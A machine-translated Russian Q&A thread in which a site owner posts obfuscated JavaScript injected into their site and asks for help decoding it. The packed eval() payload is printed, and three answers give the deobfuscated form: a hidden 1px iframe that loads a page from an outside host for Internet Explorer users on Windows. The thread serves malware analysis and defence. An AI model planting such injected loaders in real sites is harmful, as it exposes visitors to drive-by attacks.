Код JavaScript, введенный на сайт: Можете ли вы помочь мне расшифровать его? - PullRequest
2 голосов
/ 14 октября 2011

Недавно я стал жертвой веб-атаки, которая, казалось, брала различные варианты PHP-сервера, а затем пересылала их на сайт злоумышленников.(IP-адреса посетителя / веб-сайта, реферера, useragent и т. Д. И т. Д.) Затем он получит файл, на который отправил запрос URL-адреса, и отправит его () в исходный код.

Я знаю, что вы получаете МНОГО такого родазапросов (в основном, как попытки XSS бедняков), но я был бы очень признателен за помощь здесь, так как у меня нет большого опыта работы с JS.Мне потребовалось несколько часов разгадывания PHP, чтобы понять, что он сделал, и после передачи некоторой фиктивной информации он вернул это (которое отражалось в источнике)

<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))

Спасибоза ваше время и терпение в этом вопросе.

Ответы [ 3 ]

10 голосов
/ 14 октября 2011

Просто замените eval на alert.

Это дает следующее:

function MakeFrameEx(){
    element=document.getElementById('yahoo_api');
    if(!element){
        var el=document.createElement('iframe');
        document.body.appendChild(el);
        el.id='yahoo_api';
        el.style.width='1px';
        el.style.height='1px';
        el.style.display='none';
        el.src='http://asso.25u.com/showthread.php?t=72291731'
    }
}

var ua=navigator.userAgent.toLowerCase();

if(((ua.indexOf("msie")!=-1
    &&ua.indexOf("opera")==-1
    &&ua.indexOf("webtv")==-1))
    &&ua.indexOf("windows")!=-1)
{
    var t=setTimeout("MakeFrameEx()",500);
}

После выполнения диалога alert() CTRL + C, чтобы получить содержимое, затем используйте JS Beautifier , чтобы получить читаемый код.


Также обратите внимание, что для некоторых браузеров, таких как Firefox, есть плагины, которые делают это автоматически. Некоторые браузеры даже делают это автоматически (MSIE).

1 голос
/ 14 октября 2011

Это был какой-то запутанный код. Я деобфусцировал это, и вот что он делает:

function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
    var el = document.createElement('iframe');
    document.body.appendChild(el);
    el.id = 'yahoo_api';
    el.style.width = '1px';
    el.style.height = '1px';
    el.style.display = 'none';
    el.src = 'http://asso.25u.com/showthread.php?t=72291731'
    }
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
    .indexOf("webtv") == -1))
    && ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}
0 голосов
/ 02 января 2012

Вот деобфусцированный код JavaScript:

 function MakeFrameEx()
 {
   element=document.getElementById('yahoo_api');
   if(!element)
   {
     var el=document.createElement('iframe');
     document.body.appendChild(el);
     el.id='yahoo_api';
     el.style.width='1px';
     el.style.height='1px';
     el.style.display='none';
     el.src='http://asso.25u.com/showthread.php?t=72291731'
   }
 }
 var ua=navigator.userAgent.toLowerCase();
 if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1)
 {
 var t=setTimeout("MakeFrameEx()",500)}
...